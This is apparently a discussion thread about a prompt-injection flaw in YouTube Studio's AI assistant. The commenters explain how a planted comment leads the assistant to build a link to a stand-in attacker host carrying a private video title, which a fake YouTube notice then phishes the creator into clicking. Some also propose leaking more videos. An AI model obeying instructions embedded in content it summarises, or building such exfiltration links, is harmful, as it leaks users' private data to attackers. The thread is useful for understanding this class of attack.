Leaking YouTube creators' private videos

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• Conceptually I understand, but the specific example doesn't click for me >https://attacker-website.com/view/channel?video=BANG) replacing BANG with the title of a video on this channel.

  >When the creator clicked the link, I received a request with the video title in the URL parameter. The creator didn't type anything or make any unusual decision. They just clicked what looked like a legitimate link given by YouTube itself.

  That example assumes the malicious actor already has the video title but then cries about the danger of exposing private video titles. I get how it could be adjusted to maybe convince the llm to exfiltrate actually unknown information, but as I read it, they did not do that nor prove it would get through.

  by j-bos
• Ah, now I get everyone's confusion. My understanding of the attack is that it involves (1) prompt injection of the AI Studio agent to replace the URL value ("replacing BANG...") and (2) phishing of the creator to click the link to exfil data, using the official looking "[Important Notice from YouTube]" banner. As some point out, this is like two prompt injections.

  Perhaps Google was also confused by the author's explanation.

  by cyberrock
• > replacing BANG with the title of _a_ video on this channel.

  The agent has knowledge of private videos, so the proof of concept causes it to construct a URL that sends one video identity to the attacker which may be a private video. The attack could be improved to say "a recent private video", or to construct a long url param list of the most 10 most recent videos, etc. Sending any agent knowledge to an attacker is a vector to sending any agent knowledge to an attacker.

  by samuelknight
• You don't conceptually understand the attack. The attacker does not need to know the video title, this is an attack to exfiltrate that very title.

  That bit you quoted from the article in your first line is included verbatim in the malicious prompt.

  When the creator interacts with Ask Studio, Ask Studio cannot / does not differentiate the user prompt from the malicious prompt that is baked into the comment. It treats it as a part of the creator's request, and since of course the creator has access to all the videos on their channel, published or not, it complies with the request, since as far as the LLM is concerned, the user is the creator and they aren't trying to access anything they shouldn't have access to. So Ask Studio constructs a markdown link to an external URL with a querystring parameter, replacing video=BANG with video="Announcing Our New Parternership with Acme Corporation".

  If the creator clicks on that link, the attacker who presumably controls the server for external URL will see the query param value in their logs. The link shows up for the creator as an actual link with whatever link text the attacker chose. So an unsuspecting creator might think e.g. that the message comes from YouTube and not think to verify the link is legitimate.

  by vector_spaces
• Now if only OP talked to humans once in a while and not LLMs they’d stop writing “it’s not X, it’s Y”
  by smallpipe
• Why is writing "it's not X, it's Y" a bad thing? Other than it happens to be used a lot by LLM's, it seems like a fine language construct. It's not like it's new; it was used plenty before the time of LLMs too. In my opinion, we shouldn't let the LLM companies claim parts of the English language for themselves, and make it effectively unusable by everyone else. That's what is happening because of this pervasive hatred for anything remotely associated with AI.
  by quantummagic
• Typical Google response. There is zero accountability or responsibility. Something must change.
  by ozzymuppet
• Interesting!
  by anon_s
• These companies are going to choose AI slop features over security until they are held liable for damages they cause, like in the case of Air Canada. https://www.cbsnews.com/news/aircanada-chatbot-discount-cust...
  by fg137
• We should probably just expect damages then because our track record for holding corporations meaningfully accountable is dismal.
  by autoexec
• "The solutions is so pleasant, treat comment data as untrusted content not inline commands / prompts. "

  Yes, good luck with that.

  by alienbaby
• ...I think I agree with Google that the first report was a social engineering attack. Yes, it's an attack that's made easier by Google having a confusing UI, but fundamentally, this feature's job is to summarize and relay the content of your video comments, and it's doing that. It's just that one of those comments claims to be a message from Youtube.

  The second report, by contrast, is clearly not a social engineering attack and I have no idea what Google is talking about.

  by Wowfunhappy
• could similar attack be done on gmail email summaries or similar "AI summary" features?
  by forcer
• This can be escalated even further I suppose, like a xss or phising attack. How can they ignore it?
  by opem
• This no longer works, looks like they quietly fixed this. (unless my attempts did not work on my own channel)
  by 0xmaxdev
• In the example provided of leaking a private video, you already need access to the private video to even comment on it. That scenario is not much of an exploit.

  Unless there's a better example of what can be abused, the more realistic concern is authority laundering where a command tricks YouTube into giving the user instructions that sound like they're coming from Google. Another risk is using it to get the AI to misrepresent the results of its task.

  by CMay
• Access to the private video doesn't sound necessary. The AI seemingly runs in a context where it sees the private videos so comments on public videos can instruct it to generate links containing such info.
  by tambre
• I think the comment can be left on any video on the channel?
  by snailmailman
• So if this isn’t a bug, is it a feature? Merely a quirky edge case? Genuine question. Would utilizing this even be considered abuse (by Google)?
  by nkrisc
• It is an edge case in the same way that log4shell is a feature and an edge case for log4j.
  by fg137
• I don't understand, how does this leak a private video title¹ when you need to post a comment on the video you want to leak? Aren't you on the video page at that point?

  And the creator needs to click the link inside of a comment section or summary thereof. I disagree with Google saying that phishing vectors are irrelevant for security (it's basically the top vector and Google knows that), but it's hard to disagree with the technical classification as such

  ¹ but not contents or other info (like the ID) that lets you access the contents, as the title suggests by saying "leaking private videos". The PoC asks the LLM to insert the title in a URL with a third-party domain. I presume the bot doesn't know the page URL, otherwise the author would have used/added that as it's much more impactful

  by Aachen
• The scenario described in the OP does not involve commenting on a private video. It involves commenting on any public video, then the uploader clicks on a suggested prompt in YouTube Studio which supposedly processes the comment and creates a URL with the title of a different video.
  by Crestwave
• years ago I found a way to discover personally identifiable data for any given youtuber through its API

  I reported it and the reply I got was "it works as intended, not an issue"

  using this exploit I was able to find almost any youtubers social media accounts and their real names

  Another time I caught a famous youtuber threatening to doxx people who were criticizing him in the comments and reported it and nothing came of it saying they didn't see any issues.

  by zuzululu
• > YouTube Studio's own suggested prompts automatically feed all comments ot the AI the moment they're clicked.

  Glad to see human-written text.

  by 8cvor6j844qw_d6
• It'll come back to bite them in the ass sooner than later
  by anyaya1
• Flashbacks to when I uploaded a private video, and on a first date a person googled me and said "Oh is this you, <name of video>". Apparently at some point private videos were indexed in google.
  by phendrenad2
• The unlisted video indexes still exist. https://unlistedvideos.com is one example.
  by 8organicbits
• You're probably thinking of unlisted, not private.
  by throwrioawfo
• The described "attack" would not work, due to not triggering an HTTP request.

  When an LLM generates text, it does not send requests to URL-looking strings it generates to validate they are real/live.

  You'd never get your "ping" request.

  by gavinray
• The author is aware of that, the PoC requires interaction from the creator using the studio AI:

  > When the creator clicked the link, I received a request with the video title in the URL parameter.

  by ian_d